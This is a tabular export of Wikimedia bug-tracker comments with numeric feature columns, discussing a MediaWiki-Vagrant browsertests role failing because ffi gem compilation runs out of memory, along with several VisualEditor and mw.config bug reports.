243908,provisioning browsertests role fails,"I have the same problem. I will attach output of ""vagrant enable-role browsertests"" and ""VBoxManage showvminfo"".

How do I increase VM memory size? (Looks like it is 768MB now.)

In Vagrantfile[1] or ""Oracle VM VirtualBox Manager > VM > right click > Settings > System > Base Memory""?

1: https://github.com/wikimedia/mediawiki-vagrant/blob/master/Vagrantfile#L65",,,1380201013,,PHID-USER-fz7hkyvt4jypl76ieyol,False,,,PHID-TASK-da2sdjr5nuneldb7hbcy,task_subcomment,,True,c1,3,True,,,12,,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,6.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,28.0,1.0,3.0,1.0,0.0,0.0,0.0,0.0,4.0,0.0,3.0,0.0,6.0,4.0,14.0,3.0,8.0,0.0,6.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,6.0,3.464788732394366,0.7464788732394366,"I have the same problem. I will attach output of ""vagrant enable-role browsertests"" and ""VBoxManage showvminfo"".

How do I increase VM memory size? (Looks like it is 768MB now.)

In Vagrantfile[1] or ""Oracle VM VirtualBox Manager > VM > right click > Settings > System > Base Memory""?

1: URL"
243903,provisioning browsertests role fails,"(In reply to comment #5)
> I increased the VM to 1024, `vagrant halt` `vagrant up`!
... that should have continued ""and the vagrant provision complete successfully, and I can run tests!""  Yay, thanks for the memory suggestion.

(In reply to comment #6)
> the way to resolve this is to document...
I added something, https://www.mediawiki.org/w/index.php?title=MediaWiki-Vagrant&diff=783886&oldid=781408

> ... one should try freeing some memory in the VM
You mean by temporarily disabling other roles until vagrant provisions browsertests successfully?  I didn't try stopping apache/mysql/parsoid/redis in the vagrant VM, because I assumed `vagrant provision` would have restarted them before running the ruby gem bundler.

I guess the opaque exception reporting is an upstream issue.",,,1379308175,,PHID-USER-gbl4hfak3cfurt3c7skd,False,,,PHID-TASK-da2sdjr5nuneldb7hbcy,task_subcomment,,True,c1,3,False,,,11,,0.0,0.5,0.0,0.0,1.0,5.0,1.0,1.0,0.0,0.0,2.0,1.0,0.0,0.0,0.0,3.5,0.0,3.0,6.5,0.5,1.0,0.5,0.0,0.0,2.0,0.0,0.0,1.0,0.5,1.0,0.0,2.5,2.5,0.0,3.5,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,2.5,0.0,0.0,0.0,0.0,0.0,12.5,0.5,0.0,0.0,0.0,0.0,0.0,0.0,1.5,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,4.5,1.0,9.5,1.0,1.0,5.0,0.0,0.0,0.5,1.0,3.5,0.0,1.0,0.0,5.0,6.5,3.5,1.0,1.0,0.0,5.0,0.0,0.0,1.0,1.0,2.5,0.0,0.0,0.0,4.02542372881356,0.771186440677966,"(In reply to comment #5)
QUOTE
... that should have continued ""and the vagrant provision complete successfully, and I can run tests!""  Yay, thanks for the memory suggestion.

(In reply to comment #6)
QUOTE
I added something, URL

QUOTE
You mean by temporarily disabling other roles until vagrant provisions browsertests successfully?  I didn't try stopping apache/mysql/parsoid/redis in the vagrant VM, because I assumed CODE would have restarted them before running the ruby gem bundler.

I guess the opaque exception reporting is an upstream issue."
243899,provisioning browsertests role fails,"(In reply to comment #5)
> I increased the VM to 1024, `vagrant halt` `vagrant up`!

And -- did it work? I guess it did, because you later speak of ""successful and unsuccessful runs"".

I don't think it's viable to keep increasing the default RAM allocation just so that this one Gem can compile, so the way to resolve this is to document the fact that compiling the ffi Gem is a memory-hungry task and that if it fails one should try freeing some memory in the VM or increasing the RAM allocation.",,,1379306284,,PHID-USER-r7wrkcx7j2vutqs6hr3g,False,,,PHID-TASK-da2sdjr5nuneldb7hbcy,task_subcomment,,True,c1,3,True,,,11,,1.0,0.0,0.0,0.0,1.0,4.0,2.0,1.0,0.0,1.0,2.0,1.0,0.0,0.0,0.0,2.0,2.0,3.0,14.0,0.0,4.0,1.0,1.0,0.0,2.0,1.0,0.0,0.0,1.0,0.0,0.0,7.0,2.0,4.0,2.0,1.0,0.0,0.0,1.0,1.0,0.0,0.0,1.0,2.0,0.0,0.0,0.0,1.0,0.0,13.0,1.0,3.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,1.0,0.0,3.0,0.0,0.0,0.0,7.0,2.0,10.0,7.0,4.0,10.0,0.0,0.0,0.0,1.0,8.0,0.0,2.0,0.0,8.0,14.0,2.0,1.0,2.0,0.0,8.0,0.0,0.0,1.0,0.0,4.0,0.0,0.0,0.0,3.65,0.71,"(In reply to comment #5)
QUOTE

And -- did it work? I guess it did, because you later speak of ""successful and unsuccessful runs"".

I don't think it's viable to keep increasing the default RAM allocation just so that this one Gem can compile, so the way to resolve this is to document the fact that compiling the ffi Gem is a memory-hungry task and that if it fails one should try freeing some memory in the VM or increasing the RAM allocation."
243893,provisioning browsertests role fails,"Created attachment 13289
output of `vboxmanage showvminfo ...` before I increased VM memory

**Attached**: {F11491}",,,1379305914,,PHID-USER-gbl4hfak3cfurt3c7skd,False,,,PHID-TASK-da2sdjr5nuneldb7hbcy,task_subcomment,,True,c1,3,False,,,11,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,27.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,9.0,14.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.727272727272727,0.8636363636363636,"Created attachment 13289
output of CODE before I increased VM memory

**Attached**: {F11491}"
243887,provisioning browsertests role fails,"Thanks for the updates. I did not modify the VM's memory size.
Maybe the difference between me and Chris is my roles include eventlogging, gettingstarted (which loads redis) and visualeditor+parsoid.

I increased the VM to 1024, `vagrant halt` `vagrant up`!

In the vagrant VM, on both successful and unsuccessful runs, puppet spends many minutes running
/usr/bin/ruby /usr/bin/bundle install --path /home/vagrant/.gem
with no output.

/home/vagrant/.gem/ruby/1.9.1/gems contains a bunch of old gems from May14, and the new revisions of gems from this run.

drwxr-xr-x  4 vagrant vagrant 4096 May 14 04:28 builder-3.2.0
drwxr-xr-x  6 vagrant vagrant 4096 Sep  6 22:14 builder-3.2.2
drwxr-xr-x  4 vagrant vagrant 4096 May 14 04:35 childprocess-0.3.9
drwxr-xr-x  6 vagrant vagrant 4096 May 14 04:35 chunky_png-1.2.8
drwxr-xr-x 10 vagrant vagrant 4096 May 14 04:44 cucumber-1.3.1
drwxr-xr-x  6 vagrant vagrant 4096 May 14 04:45 data_magic-0.14
drwxr-xr-x  7 vagrant vagrant 4096 May 14 04:35 diff-lcs-1.2.4
drwxr-xr-x  4 vagrant vagrant 4096 May 14 04:44 faker-1.1.2
drwxr-xr-x  7 vagrant vagrant 4096 May 14 04:29 ffi-1.8.1
drwxr-xr-x  7 vagrant vagrant 4096 Sep 16 03:50 ffi-1.9.0    <--- the problem
drwxr-xr-x 10 vagrant vagrant 4096 May 14 04:35 gherkin-2.12.0
drwxr-xr-x  5 vagrant vagrant 4096 May 14 04:44 i18n-0.6.4
drwxr-xr-x  4 vagrant vagrant 4096 May 14 04:35 multi_json-1.7.3
drwxr-xr-x  4 vagrant vagrant 4096 May 14 04:45 net-http-persistent-2.8
drwxr-xr-x  4 vagrant vagrant 4096 May 14 04:45 page_navigation-0.9
drwxr-xr-x  5 vagrant vagrant 4096 May 14 04:45 page-object-0.8.10
drwxr-xr-x  4 vagrant vagrant 4096 May 14 04:45 parallel-0.6.4
drwxr-xr-x  5 vagrant vagrant 4096 May 14 04:45 parallel_tests-0.12.3
drwxr-xr-x  6 vagrant vagrant 4096 May 14 04:28 rake-10.0.4
drwxr-xr-x  6 vagrant vagrant 4096 Sep  6 22:14 rake-10.1.0",,,1379305740,,PHID-USER-gbl4hfak3cfurt3c7skd,False,,,PHID-TASK-da2sdjr5nuneldb7hbcy,task_subcomment,,True,c1,3,False,,,11,,0.2,0.0,0.0,0.0,0.2,9.2,0.2,0.0,0.0,0.0,0.2,0.0,0.0,0.0,0.0,0.8,0.2,0.4,2.2,0.0,0.0,0.0,0.0,0.0,0.4,0.2,0.0,0.0,3.6,0.0,0.2,1.0,0.0,0.0,0.0,0.0,0.0,0.2,0.0,0.0,0.2,0.0,0.0,0.2,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.2,0.0,0.0,0.2,0.0,0.0,0.0,0.4,0.0,0.0,0.2,0.0,0.0,0.0,0.0,0.0,1.6,0.2,6.6,0.0,1.0,2.2,0.0,0.0,0.2,0.0,0.2,0.0,17.8,0.0,0.8,2.2,18.2,0.0,0.0,0.0,0.8,0.0,0.2,0.2,0.2,0.4,0.0,0.0,0.2,3.7216963064295485,0.42943912448700405,"Thanks for the updates. I did not modify the VM's memory size.
Maybe the difference between me and Chris is my roles include eventlogging, gettingstarted (which loads redis) and visualeditor+parsoid.

I increased the VM to 1024, CODE CODE!

In the vagrant VM, on both successful and unsuccessful runs, puppet spends many minutes running
/usr/bin/ruby /usr/bin/bundle install --path /home/vagrant/.gem
with no output.

/home/vagrant/.gem/ruby/1.9.1/gems contains a bunch of old gems from May14, and the new revisions of gems from this run.

drwxr-xr-x  4 vagrant vagrant 4096 May 14 04:28 builder-3.2.0
drwxr-xr-x  6 vagrant vagrant 4096 Sep  6 22:14 builder-3.2.2
drwxr-xr-x  4 vagrant vagrant 4096 May 14 04:35 childprocess-0.3.9
drwxr-xr-x  6 vagrant vagrant 4096 May 14 04:35 chunky_png-1.2.8
drwxr-xr-x 10 vagrant vagrant 4096 May 14 04:44 cucumber-1.3.1
drwxr-xr-x  6 vagrant vagrant 4096 May 14 04:45 data_magic-0.14
drwxr-xr-x  7 vagrant vagrant 4096 May 14 04:35 diff-lcs-1.2.4
drwxr-xr-x  4 vagrant vagrant 4096 May 14 04:44 faker-1.1.2
drwxr-xr-x  7 vagrant vagrant 4096 May 14 04:29 ffi-1.8.1
drwxr-xr-x  7 vagrant vagrant 4096 Sep 16 03:50 ffi-1.9.0    <--- the problem
drwxr-xr-x 10 vagrant vagrant 4096 May 14 04:35 gherkin-2.12.0
drwxr-xr-x  5 vagrant vagrant 4096 May 14 04:44 i18n-0.6.4
drwxr-xr-x  4 vagrant vagrant 4096 May 14 04:35 multi_json-1.7.3
drwxr-xr-x  4 vagrant vagrant 4096 May 14 04:45 net-http-persistent-2.8
drwxr-xr-x  4 vagrant vagrant 4096 May 14 04:45 page_navigation-0.9
drwxr-xr-x  5 vagrant vagrant 4096 May 14 04:45 page-object-0.8.10
drwxr-xr-x  4 vagrant vagrant 4096 May 14 04:45 parallel-0.6.4
drwxr-xr-x  5 vagrant vagrant 4096 May 14 04:45 parallel_tests-0.12.3
drwxr-xr-x  6 vagrant vagrant 4096 May 14 04:28 rake-10.0.4
drwxr-xr-x  6 vagrant vagrant 4096 Sep  6 22:14 rake-10.1.0"
243882,provisioning browsertests role fails,Apparently having two different people attempt to verify your report is not quite enough to warrant a follow-up. Closing as invalid.,,,1379144075,,PHID-USER-r7wrkcx7j2vutqs6hr3g,False,,,PHID-TASK-da2sdjr5nuneldb7hbcy,task_subcomment,,True,c1,3,True,,,10,,0.0,0.0,0.0,0.0,4.0,12.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,12.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,8.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,8.0,0.0,4.0,0.0,4.0,12.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,8.0,0.0,0.0,0.0,4.48,0.92,Apparently having two different people attempt to verify your report is not quite enough to warrant a follow-up. Closing as invalid.
243875,provisioning browsertests role fails,[mass-moving from Tools>MediaWiki-Vagrant to separate product. See bug 54041. Filter bugmail on this comment.],,,1378939542,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-da2sdjr5nuneldb7hbcy,task_subcomment,,True,c1,3,True,,,10,,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,3.88,0.88,[mass-moving from Tools>MediaWiki-Vagrant to separate product. See bug 54041. Filter bugmail on this comment.]
243868,provisioning browsertests role fails,"I ran into this problem before. If I recall correctly, it's an out-of-memory error that bundler is unhelpfully catching and re-throwing as an uninformative generic exception. The memory requirements of building the ffi gem were the original impetus for bumping the VM's memory allocation to 768 Mb, but since we've done that I have not run into this problem. Have you modified the VM's memory allocation setting at all?

If you have not modified the VM, can you reproduce the output of ""vboxmanage showvminfo""? It should be invoked with the machine's UUID as the final command-line argument. The UUID can be found in .vagrant/machines/default/virtualbox/id, which should exist under your Vagrant repo root.",,,1378632611,,PHID-USER-r7wrkcx7j2vutqs6hr3g,False,,,PHID-TASK-da2sdjr5nuneldb7hbcy,task_subcomment,,True,c1,3,True,,,9,,0.5,0.0,0.0,1.5,1.0,3.5,0.5,0.0,0.0,1.0,2.0,0.5,0.0,0.0,0.0,2.0,0.0,4.0,11.5,0.0,0.0,1.5,0.5,0.0,1.0,0.5,0.0,0.0,1.5,0.0,0.5,3.5,1.0,1.0,0.0,2.5,0.0,0.5,2.5,0.5,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,2.0,0.5,0.0,0.0,0.0,0.0,1.5,0.0,0.0,0.5,1.5,0.0,0.0,0.0,0.0,0.0,7.0,2.5,9.5,2.5,1.0,9.0,0.0,0.0,0.0,0.0,2.5,0.0,0.5,0.0,6.0,11.5,4.5,1.5,1.5,0.0,6.0,0.0,0.5,1.0,0.0,2.5,0.0,0.0,0.0,4.054054054054054,0.7413920770085154,"I ran into this problem before. If I recall correctly, it's an out-of-memory error that bundler is unhelpfully catching and re-throwing as an uninformative generic exception. The memory requirements of building the ffi gem were the original impetus for bumping the VM's memory allocation to 768 Mb, but since we've done that I have not run into this problem. Have you modified the VM's memory allocation setting at all?

If you have not modified the VM, can you reproduce the output of ""vboxmanage showvminfo""? It should be invoked with the machine's UUID as the final command-line argument. The UUID can be found in .vagrant/machines/default/virtualbox/id, which should exist under your Vagrant repo root."
243863,provisioning browsertests role fails,I was not able to reproduce this in a fresh VM,,,1378503546,,PHID-USER-kqibbfgfpgocyzwe32lv,False,,,PHID-TASK-da2sdjr5nuneldb7hbcy,task_subcomment,,True,c1,3,False,,,9,,0.0,0.0,0.0,0.0,9.0,18.0,9.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,9.0,0.0,9.0,18.0,0.0,9.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,9.0,18.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,9.0,18.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,3.272727272727273,1.0,I was not able to reproduce this in a fresh VM
55828,VisualEditor: Pasting text into VE from external text processor removes newlines,"System environment:
Win7 X64
Google Chrome 29.0.1547.62 m

Steps to reproduce:
Open a page
Edit it in VE
Copy-paste the following text:
a
b
c
d
e

Expected output:
a
b
c
d
e

Actual output:
abcde

The problem has been tested with notepad++ as the external editor, with line endings in windows format (CRLF), UNIX format (LF) and MAC format (CR). Newline is not copied in any of the cases.

The problem has also been tested by trying to copy-paste html text from chrome itself. Newline is not copied.

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=52096",Medium,50.0,1378418160,1385505615.0,PHID-USER-4bjsher5mqcoikeqnnec,False,,False,PHID-TASK-3yhieue5lg5ipuzhildn,task_description,resolved,True,c1,3,False,False,False,9,,0.5,0.0,0.0,2.5,1.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,6.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.5,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.5,0.5,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.5,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,4.0,2.5,14.5,0.0,0.5,5.0,0.0,0.0,0.0,0.0,2.5,0.0,0.5,0.0,1.0,6.0,8.0,0.0,0.0,0.0,1.0,0.0,0.0,1.5,0.5,1.0,0.0,0.0,2.0,3.25,0.6125,"System environment:
Win7 X64
Google Chrome 29.0.1547.62 m

Steps to reproduce:
Open a page
Edit it in VE
Copy-paste the following text:
a
b
c
d
e

Expected output:
a
b
c
d
e

Actual output:
abcde

The problem has been tested with notepad++ as the external editor, with line endings in windows format (CRLF), UNIX format (LF) and MAC format (CR). Newline is not copied in any of the cases.

The problem has also been tested by trying to copy-paste html text from chrome itself. Newline is not copied.

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
URL"
241835,VisualEditor: Pasting text into VE from external text processor removes newlines,"Change 86664 merged by jenkins-bot:
Rich paste

https://gerrit.wikimedia.org/r/86664",,,1385500082,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-3yhieue5lg5ipuzhildn,task_subcomment,,True,c1,3,False,,,21,,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,8.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.076923076923077,1.0,"Change 86664 merged by jenkins-bot:
Rich paste

GERRIT_URL"
241829,VisualEditor: Pasting text into VE from external text processor removes newlines,Works with gedit & chrome with the rich paste patch.,,,1381157678,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-3yhieue5lg5ipuzhildn,task_subcomment,,True,c1,3,True,,,14,,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,36.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,9.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.909090909090909,0.9090909090909091,Works with gedit & chrome with the rich paste patch.
241824,VisualEditor: Pasting text into VE from external text processor removes newlines,"Change 86664 had a related patch set uploaded by Esanders:
Rich paste

https://gerrit.wikimedia.org/r/86664",,,1381157509,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-3yhieue5lg5ipuzhildn,task_subcomment,,True,c1,3,False,,,14,,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,25.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,4.4375,1.0,"Change 86664 had a related patch set uploaded by Esanders:
Rich paste

GERRIT_URL"
241820,VisualEditor: Pasting text into VE from external text processor removes newlines,"Confirmed in Firefox 23 / Xubuntu Linux / Monobook

Using kwrite:
Tested with \n  \r and \r\n end of lines and it makes no difference.
Tested also using UTF-8, UTF-16, ISO-8859-1, ISO-8859-2 and Windows-1258 encodings.

Also tested copying from this page viewed in Firefox, Konqueror and Linuks, from a PDF, a text file in a terminal, and again from kwrite using the following:

a

b

c

d

e

None of it makes the slightest bit of difference.

https://en.wikipedia.org/w/index.php?title=User%3AThryduulf%2Fsandbox3&diff=571705481&oldid=571089410 is the copy from comment 0",,,1378420228,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-3yhieue5lg5ipuzhildn,task_subcomment,,True,c1,3,False,,,9,,0.0,0.0,0.0,0.0,0.0,1.5,1.0,0.0,0.0,0.0,2.5,0.0,0.0,0.0,0.0,0.0,0.0,2.0,8.0,1.0,0.0,0.0,0.0,0.0,0.5,1.5,0.0,0.0,0.0,0.0,1.0,2.5,0.0,1.5,1.5,0.0,0.0,0.0,0.0,0.0,0.5,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.5,0.0,0.0,0.0,1.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,1.0,12.5,0.0,3.5,7.0,0.0,0.0,0.0,0.0,0.0,0.0,2.5,0.0,1.5,8.0,9.5,0.0,0.0,0.0,1.5,0.0,0.0,3.5,0.0,2.5,0.0,1.0,3.0,3.5982142857142856,0.7321428571428572,"Confirmed in Firefox 23 / Xubuntu Linux / Monobook

Using kwrite:
Tested with \n  \r and \r\n end of lines and it makes no difference.
Tested also using UTF-8, UTF-16, ISO-8859-1, ISO-8859-2 and Windows-1258 encodings.

Also tested copying from this page viewed in Firefox, Konqueror and Linuks, from a PDF, a text file in a terminal, and again from kwrite using the following:

a

b

c

d

e

None of it makes the slightest bit of difference.

URL is the copy from comment 0"
55826,"Lazy load extensions' large resources in VisualEditor, rather than blocking load","Extensions such as Math or SyntaxHighlight may require the inclusion of large(ish) JS libraries. It would be good if we didn't load these on every VE page load, but rather when these elements are present, or become present (e.g. I add a formula to a new document)

--------------------------
**Version**: unspecified
**Severity**: enhancement",Medium,50.0,1378414320,,PHID-USER-it53o2f2kyryqyj33uzt,False,,False,PHID-TASK-nydh4gpoq4wxodchwgi3,task_description,open,True,c1,3,True,False,,9,,1.0,0.0,0.0,0.0,1.0,10.0,3.0,0.0,0.0,1.0,3.0,1.0,0.0,0.0,0.0,3.0,0.0,6.0,7.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,1.0,0.0,3.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,10.0,0.0,3.0,0.0,0.0,0.0,7.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,4.0,3.0,12.0,3.0,4.0,8.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,4.0,7.0,6.0,0.0,0.0,0.0,4.0,0.0,1.0,3.0,0.0,0.0,0.0,0.0,0.0,4.083333333333333,0.7777777777777778,"Extensions such as Math or SyntaxHighlight may require the inclusion of large(ish) JS libraries. It would be good if we didn't load these on every VE page load, but rather when these elements are present, or become present (e.g. I add a formula to a new document)

--------------------------
**Version**: unspecified
**Severity**: enhancement"
55774,mw.config doesn't expose page existence information about the target of a special page,"For special pages, no information about page existence is exposed to mw.config, which means that VisualEditor is forced to assume it exists regardless.

--------------------------
**Version**: 1.22.0
**Severity**: minor
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=66885",Medium,50.0,1378324980,1416369086.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-rzsc7tmlupqbuaedolkl,task_description,resolved,True,c1,3,True,False,False,9,,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,9.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,6.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,2.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,4.0,13.0,2.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,2.0,9.0,2.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,3.925925925925926,0.6481481481481481,"For special pages, no information about page existence is exposed to mw.config, which means that VisualEditor is forced to assume it exists regardless.

--------------------------
**Version**: 1.22.0
**Severity**: minor
**See Also**:
URL"
239133,mw.config doesn't expose page existence information about the target of a special page,"Change 169639 merged by jenkins-bot:
Expose ID of relevant page in JS variables

https://gerrit.wikimedia.org/r/169639",,,1416369714,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-rzsc7tmlupqbuaedolkl,task_subcomment,,True,c1,3,False,,,72,,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,26.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,16.0,26.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.2105263157894735,1.0,"Change 169639 merged by jenkins-bot:
Expose ID of relevant page in JS variables

GERRIT_URL"
239131,mw.config doesn't expose page existence information about the target of a special page,"Change 169639 had a related patch set uploaded by Alex Monk:
Expose ID of relevant page in JS variables

https://gerrit.wikimedia.org/r/169639",,,1414545533,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-rzsc7tmlupqbuaedolkl,task_subcomment,,True,c1,3,False,,,69,,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,30.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,13.0,26.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.260869565217392,1.0,"Change 169639 had a related patch set uploaded by Alex Monk:
Expose ID of relevant page in JS variables

GERRIT_URL"
